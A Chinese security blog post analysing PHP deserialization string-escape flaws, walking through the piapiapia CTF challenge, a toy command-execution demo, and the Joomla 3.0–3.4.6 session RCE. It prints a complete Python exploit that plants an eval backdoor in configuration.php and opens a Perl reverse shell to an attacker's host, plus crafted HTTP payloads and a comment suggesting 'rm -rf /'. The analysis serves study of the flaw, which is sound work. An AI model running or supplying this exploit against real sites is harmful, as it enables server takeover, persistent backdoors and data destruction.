出品|MS08067實驗室(www.ms08067.com)javascript
本文做者:whojoe(MS08067安全實驗室SRST TEAM成員)
php
前幾天看了下PHP 反序列化字符逃逸學習,有大佬簡化了一下joomla3.4.6rce的代碼,今天來本身分析學習一下。css
Joomla 3.4.6 : https://downloads.joomla.org/it/cms/joomla3/3-4-6
php :5.4.45nts(不支持php7)
影響版本: 3.0.0 --- 3.4.6
漏洞利用: https://github.com/SecurityCN/Vulnerability-analysis/tree/master/Joomla
(https://github.com/SecurityCN/Vulnerability-analysis/tree/master/Joomla)
要求PHP Version >= 5.3.10html
CTF-2016-piapiapia中的利用代碼
這裏就直接從大佬那裏把代碼拿來了
index.phpjava
<?php require_once('class.php'); if(isset($_SESSION['username'])) { header('Location: profile.php'); exit; } if(isset($_POST["username"]) && isset($_POST["password"])) { $username = $_POST['username']; $password = $_POST['password']; if(strlen($username) < 3 or strlen($username) > 16) die('Invalid user name'); if(strlen($password) < 3 or strlen($password) > 16) die('Invalid password'); if($user->login($username, $password)) { $_SESSION['username'] = $username; header('Location: profile.php'); exit; } else { die('Invalid user name or password'); } } else { echo ' <!DOCTYPE html> <html> <head> <title>Login</title> <link href="static/bootstrap.min.css" rel="stylesheet"> <script src="static/jquery.min.js"></script> <script src="static/bootstrap.min.js"></script> </head> <body> <div class="container" style="margin-top:100px"> <form action="index.php" method="post" class="well" style="width:220px;margin:0px auto;"> <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;"> <h3>Login</h3> <label>Username:</label> <input type="text" name="username" style="height:30px"class="span3"/> <label>Password:</label> <input type="password" name="password" style="height:30px" class="span3"> <button type="submit" class="btn btn-primary">LOGIN</button> </form> </div> </body> </html>'; } ?>
profile.phppython
<?php require_once('class.php'); if($_SESSION['username'] == null) { die('Login First'); } $username = $_SESSION['username']; $profile=$user->show_profile($username); if($profile == null) { header('Location: update.php'); } else { $profile = unserialize($profile); $phone = $profile['phone']; $email = $profile['email']; $nickname = $profile['nickname']; $photo = base64_encode(file_get_contents($profile['photo'])); ?> <!DOCTYPE html> <html> <head> <title>Profile</title> <link href="static/bootstrap.min.css" rel="stylesheet"> <script src="static/jquery.min.js"></script> <script src="static/bootstrap.min.js"></script> </head> <body> <div class="container" style="margin-top:100px"> <img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;"> <h3>Hi <?php echo $nickname;?></h3> <label>Phone: <?php echo $phone;?></label> <label>Email: <?php echo $email;?></label> </div> </body> </html> <?php } ?>
register.phpmysql
<?php require_once('class.php'); if(isset($_POST['username']) && isset($_POST['password'])) { $username = $_POST['username']; $password = $_POST['password']; if(strlen($username) < 3 or strlen($username) > 16) die('Invalid user name'); if(strlen($password) < 3 or strlen($password) > 16) die('Invalid password'); if(!$user->is_exists($username)) { $user->register($username, $password); echo 'Register OK!<a href="index.php">Please Login</a>'; } else { die('User name Already Exists'); } } else { ?> <!DOCTYPE html> <html> <head> <title>Login</title> <link href="static/bootstrap.min.css" rel="stylesheet"> <script src="static/jquery.min.js"></script> <script src="static/bootstrap.min.js"></script> </head> <body> <div class="container" style="margin-top:100px"> <form action="register.php" method="post" class="well" style="width:220px;margin:0px auto;"> <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;"> <h3>Register</h3> <label>Username:</label> <input type="text" name="username" style="height:30px"class="span3"/> <label>Password:</label> <input type="password" name="password" style="height:30px" class="span3"> <button type="submit" class="btn btn-primary">REGISTER</button> </form> </div> </body> </html> <?php } ?>
update.phpjquery
<?php require_once('class.php'); if($_SESSION['username'] == null) { die('Login First'); } if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) { $username = $_SESSION['username']; if(!preg_match('/^\d{11}$/', $_POST['phone'])) die('Invalid phone'); if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email'])) die('Invalid email'); if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10) die('Invalid nickname'); $file = $_FILES['photo']; if($file['size'] < 5 or $file['size'] > 1000000) die('Photo size error'); move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name'])); $profile['phone'] = $_POST['phone']; $profile['email'] = $_POST['email']; $profile['nickname'] = $_POST['nickname']; $profile['photo'] = 'upload/' . md5($file['name']); $user->update_profile($username, serialize($profile)); echo 'Update Profile Success!<a href="profile.php">Your Profile</a>'; } else { ?> <!DOCTYPE html> <html> <head> <title>UPDATE</title> <link href="static/bootstrap.min.css" rel="stylesheet"> <script src="static/jquery.min.js"></script> <script src="static/bootstrap.min.js"></script> </head> <body> <div class="container" style="margin-top:100px"> <form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;"> <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;"> <h3>Please Update Your Profile</h3> <label>Phone:</label> <input type="text" name="phone" style="height:30px"class="span3"/> <label>Email:</label> <input type="text" name="email" style="height:30px"class="span3"/> <label>Nickname:</label> <input type="text" name="nickname" style="height:30px" class="span3"> <label for="file">Photo:</label> <input type="file" name="photo" style="height:30px"class="span3"/> <button type="submit" class="btn btn-primary">UPDATE</button> </form> </div> </body> </html> <?php } ?>
class.phpgit
<?php require('config.php'); class user extends mysql{ private $table = 'users'; public function is_exists($username) { $username = parent::filter($username); $where = "username = '$username'"; return parent::select($this->table, $where); } public function register($username, $password) { $username = parent::filter($username); $password = parent::filter($password); $key_list = Array('username', 'password'); $value_list = Array($username, md5($password)); return parent::insert($this->table, $key_list, $value_list); } public function login($username, $password) { $username = parent::filter($username); $password = parent::filter($password); $where = "username = '$username'"; $object = parent::select($this->table, $where); if ($object && $object->password === md5($password)) { return true; } else { return false; } } public function show_profile($username) { $username = parent::filter($username); $where = "username = '$username'"; $object = parent::select($this->table, $where); return $object->profile; } public function update_profile($username, $new_profile) { $username = parent::filter($username); $new_profile = parent::filter($new_profile); $where = "username = '$username'"; return parent::update($this->table, 'profile', $new_profile, $where); } public function __tostring() { return __class__; } } class mysql { private $link = null; public function connect($config) { $this->link = mysql_connect( $config['hostname'], $config['username'], $config['password'] ); mysql_select_db($config['database']); mysql_query("SET sql_mode='strict_all_tables'"); return $this->link; } public function select($table, $where, $ret = '*') { $sql = "SELECT $ret FROM $table WHERE $where"; $result = mysql_query($sql, $this->link); return mysql_fetch_object($result); } public function insert($table, $key_list, $value_list) { $key = implode(',', $key_list); $value = '\'' . implode('\',\'', $value_list) . '\''; $sql = "INSERT INTO $table ($key) VALUES ($value)"; return mysql_query($sql); } public function update($table, $key, $value, $where) { $sql = "UPDATE $table SET $key = '$value' WHERE $where"; return mysql_query($sql); } public function filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); } public function __tostring() { return __class__; } } session_start(); $user = new user(); $user->connect($config);
config.phpgithub
<?php $config['hostname'] = '127.0.0.1'; $config['username'] = 'root'; $config['password'] = 'root'; $config['database'] = 'test'; $flag = '121312131'; ?>
index.php是登陸界面(沒啥用)
profile.php是讀取文件的(劃重點)
register.php是註冊的(沒啥用)
update.php是更新信息(劃重點)
class.php是核心代碼(劃重點)
config.php flag在裏面
在profile.php中能夠讀取文件,而且上面有反序列化操做,在update.php文件上傳沒有作任何過濾,可是估計實際環境會限制代碼執行,在class.php中有序列化操做,而且對字符串進行了替換,因爲沒有對傳入的單引號進行過濾,因此是存在sql注入的,可是沒什麼用,數據庫中的全部東西都是咱們可控的,因此重點就在了序列化和反序列化還有字符串長度替換上,看下過濾代碼
public function filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); }
能夠看到長度惟一改變的就是where,那麼咱們上傳一個文件看一下
a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:13:"123123@qq.com";s:8:"nickname";s:5:"joezk";s:5:"photo";s:39:"upload/d421244c920e11775c1d1711a1a11da0";}
這裏面的photo是咱們想要控制的,那麼咱們就須要控制nickname字段加上長度的替換來實現任意文件讀取,可是nickname長度被限制
if(!preg_match('/^\d{11}$/', $_POST['phone'])) die('Invalid phone'); if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email'])) die('Invalid email'); if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10) die('Invalid nickname'); $file = $_FILES['photo']; if($file['size'] < 5 or $file['size'] > 1000000) die('Photo size error');
這裏可使用數組繞過,那麼咱們就傳一下數組來看一下
a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:13:"123123@qq.com";s:8:"nickname";a:1:{i:0;s:5:"joezk";}s:5:"photo";s:39:"upload/d421244c920e11775c1d1711a1a11da0";}
發現裏面的結構發生了改變,因此咱們就要考慮如何構造,由於後面的s:5:"photo";s:39:"upload/d421244c920e11775c1d1711a1a11da0";}是沒用的,因此這一部分就被丟棄了,爲了保證還有photo字段,就要把字符串進行擴充,結合前面的正則替換,where變成hacker,增長了一個長度,因此咱們的最終序列化以後的應該是這種格式的
a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:13:"123123@qq.com";s:8:"nickname";a:1:{i:0;s:5:"where";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/d421244c920e11775c1d1711a1a11da0";}
其中的where";}s:5:"photo";s:10:"config.php";}是咱們要發送過去的nickname
";}s:5:"photo";s:10:"config.php";}長度爲34,那麼咱們就須要把這34位給擠出去,才能保證這個是能夠反序列化的,爲了把這34位擠出去,就須要34個where來填充,通過正則匹配後,就會變成34個hacker長度就增長了34位,便可知足咱們的要求
即nickname爲wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
發送數據包
POST /fff/update.php HTTP/1.1 Host: 192.168.164.138 Content-Length: 1405 Cache-Control: max-age=0 Origin: http://192.168.164.138 Upgrade-Insecure-Requests: 1 DNT: 1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjxnZAvhPqkTxgKar User-Agent: Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 Referer: http://192.168.164.138/fff/update.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=rdfs2saq7tgjqa3p224g33cg16 Connection: close ------WebKitFormBoundaryjxnZAvhPqkTxgKar Content-Disposition: form-data; name="phone" 12345678901 ------WebKitFormBoundaryjxnZAvhPqkTxgKar Content-Disposition: form-data; name="email" 123123@qq.com ------WebKitFormBoundaryjxnZAvhPqkTxgKar Content-Disposition: form-data; name="nickname[]" wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";} ------WebKitFormBoundaryjxnZAvhPqkTxgKar Content-Disposition: form-data; name="photo"; filename="QQ截图20200428221719.jpg" Content-Type: image/jpeg 11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111 ------WebKitFormBoundaryjxnZAvhPqkTxgKar--
查看數據庫中結果
a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:13:"123123@qq.com";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/d421244c920e11775c1d1711a1a11da0";}
打開profile.php便可查看結果
通過base64解密
代碼是從大佬那裏哪來的,具體以下
<?php class evil{ public $cmd; public function __construct($cmd){ $this->cmd = $cmd; } public function __destruct(){ system($this->cmd); } } class User { public $username; public $password; public function __construct($username, $password){ $this->username = $username; $this->password = $password; } } function write($data){ $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data); file_put_contents("dbs.txt", $data); } function read(){ $data = file_get_contents("dbs.txt"); $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data); return $r; } if(file_exists("dbs.txt")){ unlink("dbs.txt"); } $username = "peri0d"; $password = "1234"; write(serialize(new User($username, $password))); var_dump(unserialize(read()));
username和password咱們是可控的
大概的利用鏈就是經過反序列化來調用evil函數執行咱們要執行的命令
<?php class evil{ public $cmd; public function __construct($cmd){ $this->cmd = $cmd; } public function __destruct(){ system($this->cmd); } } class User { public $username; public $password; public $ts; public function __construct($username, $password){ $this->username = $username; $this->password = $password; } } $username = "peri0d"; $password = "1234"; $r = new User($username, $password); $r->ts = new evil('whoami'); echo serialize($r); //O:4:"User":3:{s:8:"username";s:6:"peri0d";s:8:"password";s:4:"1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}
看之前前面的過濾,若是傳入chr(0).'*'.chr(0)是沒什麼用的,可是若是傳入\0\0\0,就能夠對序列化的字符串長度進行縮短,咱們剛纔的payload須要進行修改才能夠用,首先,正常通過序列化的只有兩個參數,而咱們構造的有三個,正好結合前面的長度縮短刪除掉一個參數便可實現,因此最終的payload應該是這樣的。
<?php class evil{ public $cmd; public function __construct($cmd){ $this->cmd = $cmd; } public function __destruct(){ system($this->cmd); } } class User { public $username; public $password; public $ts; public function __construct($username, $password){ $this->username = $username; $this->password = $password; } } $aa='O:4:"User":2:{s:8:"username";s:6:"peri0d";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}'; unserialize($aa);
咱們來對比一下序列化以後的字符串
O:4:"User":3:{s:8:"username";s:6:"peri0d";s:8:"password";s:4:"1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}
O:4:"User":2:{s:8:"username";s:6:"peri0d";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}
能夠看出兩個不一樣的就是
peri0d";s:8:"password";s:4:"1234
目的就是要把利用長度縮減把password字段給包括到username字段裏,這一部分,他的長度是32要去掉
這裏面咱們的payload是
s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}
長度爲47
咱們只能控制兩個參數就是username和password,咱們爲了保證password字段被username吃掉並且還要保證payload可以被利用,payload就要放在password字段中傳入,經過username字段進行縮減從而達到目標,有了思路,就開始構造。
$username = "peri0d"; $password = '123456";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}'; echo serialize(new User($username, $password)); //O:4:"User":2:{s:8:"username";s:6:"peri0d";s:8:"password";s:55:"12345";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}";}
這裏咱們須要刪除的是
";s:8:"password";s:55:"123455
他的長度是28
在正則中
str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
咱們每次只能刪除的長度是3,因此字符串長度應該是3的倍數,那麼就把長度減一,變成27便可,須要9個\0\0\0
$username = "peri0d\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0"; $password = '1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}'; echo serialize(new User($username, $password)); //O:4:"User":2:{s:8:"username";s:60:"peri0d\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:54:"1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}";}
執行一下
$username = "peri0d\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0"; $password = '1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}'; write(serialize(new User($username, $password))); var_dump(unserialize(read()));
能夠看到咱們的payload已經執行了。
下載poc以後安裝須要的包,運行exp
菜刀按上面的網址和密碼連接
查看configuration.php發現已經寫入一句話
#!/usr/bin/env python3 import requests from bs4 import BeautifulSoup import sys import string import random import argparse from termcolor import colored PROXS = {'http':'127.0.0.1:8080'} #PROXS = {} def random_string(stringLength): letters = string.ascii_lowercase return ''.join(random.choice(letters) for i in range(stringLength)) backdoor_param = random_string(50) def print_info(str): print(colored("[*] " + str,"cyan")) def print_ok(str): print(colored("[+] "+ str,"green")) def print_error(str): print(colored("[-] "+ str,"red")) def print_warning(str): print(colored("[!!] " + str,"yellow")) def get_token(url, cook): token = '' resp = requests.get(url, cookies=cook, proxies = PROXS) html = BeautifulSoup(resp.text,'html.parser') # csrf token is the last input for v in html.find_all('input'): csrf = v csrf = csrf.get('name') return csrf def get_error(url, cook): resp = requests.get(url, cookies = cook, proxies = PROXS) if 'Failed to decode session object' in resp.text: #print(resp.text) return False #print(resp.text) return True def get_cook(url): resp = requests.get(url, proxies=PROXS) #print(resp.cookies) return resp.cookies def gen_pay(function, command): # Generate the payload for call_user_func('FUNCTION','COMMAND') template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}' #payload = command + ' || $a=\'http://wtf\';' payload = 'http://l4m3rz.l337/;' + command # Following payload will append an eval() at the enabled of the configuration file #payload = 'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'test\\\'])) eval($_POST[\\\'test\\\']);\', FILE_APPEND) || $a=\'http://wtf\';' function_len = len(function) final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function))) return final def make_req(url , object_payload): # just make a req with object print_info('Getting Session Cookie ..') cook = get_cook(url) print_info('Getting CSRF Token ..') csrf = get_token( url, cook) user_payload = '\\0\\0\\0' * 9 padding = 'AAA' # It will land at this padding working_test_obj = 's:1:"A":O:18:"PHPObjectInjection":1:{s:6:"inject";s:10:"phpinfo();";}' clean_object = 'A";s:5:"field";s:10:"AAAAABBBBB' # working good without bad effects inj_object = '";' inj_object += object_payload inj_object += 's:6:"return";s:102:' # end the object with the 'return' part password_payload = padding + inj_object params = { 'username': user_payload, 'password': password_payload, 'option':'com_users', 'task':'user.login', csrf :'1' } print_info('Sending request ..') resp = requests.post(url, proxies = PROXS, cookies = cook,data=params) return resp.text def get_backdoor_pay(): # This payload will backdoor the the configuration .PHP with an eval on POST request function = 'assert' template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}' # payload = command + ' || $a=\'http://wtf\';' # Following payload will append an eval() at the enabled of the configuration file payload = 'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'' + backdoor_param +'\\\'])) eval($_POST[\\\''+backdoor_param+'\\\']);\', FILE_APPEND) || $a=\'http://wtf\';' function_len = len(function) final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function))) return final def check(url): check_string = random_string(20) target_url = url + 'index.php/component/users' html = make_req(url, gen_pay('print_r',check_string)) if check_string in html: return True else: return False def ping_backdoor(url,param_name): res = requests.post(url + '/configuration.php', data={param_name:'echo \'PWNED\';'}, proxies = PROXS) if 'PWNED' in res.text: return True return False def execute_backdoor(url, payload_code): # Execute PHP code from the backdoor res = requests.post(url + '/configuration.php', data={backdoor_param:payload_code}, proxies = PROXS) print(res.text) def exploit(url, lhost, lport): # Exploit the target # Default exploitation will append en eval function at the end of the configuration.pphp # as a bacdoor. btq if you do not want this use the funcction get_pay('php_function','parameters') # e.g. get_payload('system','rm -rf /') # First check that the backdoor has not been already implanted target_url = url + 'index.php/component/users' make_req(target_url, get_backdoor_pay()) if ping_backdoor(url, backdoor_param): print_ok('Backdoor implanted, eval your code at ' + url + '/configuration.php in a POST with ' + backdoor_param) print_info('Now it\'s time to reverse, trying with a system + perl') execute_backdoor(url, 'system(\'perl -e \\\'use Socket;$i="'+ lhost +'";$p='+ str(lport) +';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\\\'\');') if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('-t','--target',required=True,help='Joomla Target') parser.add_argument('-c','--check', default=False, action='store_true', required=False,help='Check only') parser.add_argument('-e','--exploit',default=False,action='store_true',help='Check and exploit') parser.add_argument('-l','--lhost', required='--exploit' in sys.argv, help='Listener IP') parser.add_argument('-p','--lport', required='--exploit' in sys.argv, help='Listener port') args = vars(parser.parse_args()) url = args['target'] if(check(url)): print_ok('Vulnerable') if args['exploit']: exploit(url, args['lhost'], args['lport']) else: print_info('Use --exploit to exploit it') else: print_error('Seems NOT Vulnerable ;/')
在第一行已經定義了代理
PROXS = {'http':'127.0.0.1:8080'}
獲取cookie
def get_cook(url): resp = requests.get(url, proxies=PROXS) #print(resp.cookies) return resp.cookies
獲取csrf token
def get_token(url, cook): token = '' resp = requests.get(url, cookies=cook, proxies = PROXS) html = BeautifulSoup(resp.text,'html.parser') # csrf token is the last input for v in html.find_all('input'): csrf = v csrf = csrf.get('name') return csrf
驗證漏洞存在,若是存在的話,執行exploit
重新獲取cookie和token,寫入一句話,檢查一句話是否存在,以後經過一句話執行反彈shell操做
def execute_backdoor(url, payload_code): # Execute PHP code from the backdoor res = requests.post(url + '/configuration.php', data={backdoor_param:payload_code}, proxies = PROXS) print(res.text) def exploit(url, lhost, lport): # Exploit the target # Default exploitation will append en eval function at the end of the configuration.pphp # as a bacdoor. btq if you do not want this use the funcction get_pay('php_function','parameters') # e.g. get_payload('system','rm -rf /') # First check that the backdoor has not been already implanted target_url = url + 'index.php/component/users' make_req(target_url, get_backdoor_pay()) if ping_backdoor(url, backdoor_param): print_ok('Backdoor implanted, eval your code at ' + url + '/configuration.php in a POST with ' + backdoor_param) print_info('Now it\'s time to reverse, trying with a system + perl') execute_backdoor(url, 'system(\'perl -e \\\'use Socket;$i="'+ lhost +'";$p='+ str(lport) +';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\\\'\');')
這裏跟蹤一下寫入一句話,漏洞點存在於libraries/joomla/session/storage/database.php中因而咱們在這裏下斷點查看一下
public function read($id) { // Get the database connection object and verify its connected. $db = JFactory::getDbo(); try { // Get the session data from the database table. $query = $db->getQuery(true) ->select($db->quoteName('data')) ->from($db->quoteName('#__session')) ->where($db->quoteName('session_id') . ' = ' . $db->quote($id)); $db->setQuery($query); $result = (string) $db->loadResult(); $result = str_replace('\0\0\0', chr(0) . '*' . chr(0), $result); return $result; } catch (Exception $e) { return false; } } /** * Write session data to the SessionHandler backend. * * @param string $id The session identifier. * @param string $data The session data. * * @return boolean True on success, false otherwise. * * @since 11.1 */ public function write($id, $data) { // Get the database connection object and verify its connected. $db = JFactory::getDbo(); $data = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data); try { $query = $db->getQuery(true) ->update($db->quoteName('#__session')) ->set($db->quoteName('data') . ' = ' . $db->quote($data)) ->set($db->quoteName('time') . ' = ' . $db->quote((int) time())) ->where($db->quoteName('session_id') . ' = ' . $db->quote($id)); // Try to update the session data in the database table. $db->setQuery($query); if (!$db->execute()) { return false; } /* Since $db->execute did not throw an exception, so the query was successful. Either the data changed, or the data was identical. In either case we are done. */ return true; } catch (Exception $e) { return false; } }
看之前前面的過濾,若是傳入chr(0).’*’.chr(0)是沒什麼用的,可是若是傳入\0\0\0,就能夠對序列化的字符串長度進行縮短,有了以前的分析,這裏就會好理解許多,能夠參考個人另外一篇文章PHP 反序列化字符逃逸學習(https://blog.csdn.net/qq_43645782/article/details/105801796)
//數據庫中的數據 __default|a:8:{s:15:"session.counter";i:3;s:19:"session.timer.start";i:1588261345;s:18:"session.timer.last";i:1588261347;s:17:"session.timer.now";i:1588261570;s:8:"registry";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":1:{s:5:"users";O:8:"stdClass":1:{s:5:"login";O:8:"stdClass":1:{s:4:"form";O:8:"stdClass":2:{s:4:"data";a:5:{s:6:"return";s:39:"index.php?option=com_users&view=profile";s:8:"username";s:54:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:603:"AAA";s:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:217:"file_put_contents('configuration.php','if(isset($_POST[\'mzysekpmmemmyrwlhdzratayojwpxsplcftezgsreidrattndu\'])) eval($_POST[\'mzysekpmmemmyrwlhdzratayojwpxsplcftezgsreidrattndu\']);', FILE_APPEND) || $a='http://wtf';";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}s:6:"return";s:102:";s:9:"secretkey";s:0:"";s:8:"remember";i:0;}s:6:"return";s:39:"index.php?option=com_users&view=profile";}}}}s:9:"separator";s:1:".";}s:4:"user";O:5:"JUser":26:{s:9:"\0\0\0isRoot";N;s:2:"id";i:0;s:4:"name";N;s:8:"username";N;s:5:"email";N;s:8:"password";N;s:14:"password_clear";s:0:"";s:5:"block";N;s:9:"sendEmail";i:0;s:12:"registerDate";N;s:13:"lastvisitDate";N;s:10:"activation";N;s:6:"params";N;s:6:"groups";a:1:{i:0;s:1:"9";}s:5:"guest";i:1;s:13:"lastResetTime";N;s:10:"resetCount";N;s:12:"requireReset";N;s:10:"\0\0\0_params";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:14:"\0\0\0_authGroups";N;s:14:"\0\0\0_authLevels";a:3:{i:0;i:1;i:1;i:1;i:2;i:5;}s:15:"\0\0\0_authActions";N;s:12:"\0\0\0_errorMsg";N;s:13:"\0\0\0userHelper";O:18:"JUserWrapperHelper":0:{}s:10:"\0\0\0_errors";a:0:{}s:3:"aid";i:0;}s:13:"session.token";s:32:"878c42d725cd32dcc52aa2ca0c848ded";s:17:"application.queue";a:1:{i:0;a:2:{s:7:"message";s:69:"Username and password do not match or you do not have an account yet.";s:4:"type";s:7:"warning";}}} //正常的數據 __default|a:8:{s:15:"session.counter";i:2;s:19:"session.timer.start";i:1588256254;s:18:"session.timer.last";i:1588256254;s:17:"session.timer.now";i:1588256306;s:8:"registry";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:4:"user";O:5:"JUser":26:{s:9:"\0\0\0isRoot";N;s:2:"id";i:0;s:4:"name";N;s:8:"username";N;s:5:"email";N;s:8:"password";N;s:14:"password_clear";s:0:"";s:5:"block";N;s:9:"sendEmail";i:0;s:12:"registerDate";N;s:13:"lastvisitDate";N;s:10:"activation";N;s:6:"params";N;s:6:"groups";a:1:{i:0;s:1:"9";}s:5:"guest";i:1;s:13:"lastResetTime";N;s:10:"resetCount";N;s:12:"requireReset";N;s:10:"\0\0\0_params";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:14:"\0\0\0_authGroups";N;s:14:"\0\0\0_authLevels";a:3:{i:0;i:1;i:1;i:1;i:2;i:5;}s:15:"\0\0\0_authActions";N;s:12:"\0\0\0_errorMsg";N;s:13:"\0\0\0userHelper";O:18:"JUserWrapperHelper":0:{}s:10:"\0\0\0_errors";a:0:{}s:3:"aid";i:0;}s:13:"session.token";s:32:"d4bc08c9cb28f7a2920ca1851c822d38";s:17:"application.queue";a:1:{i:0;a:2:{s:7:"message";s:46:"Your session has expired. Please log in again.";s:4:"type";s:7:"warning";}}}
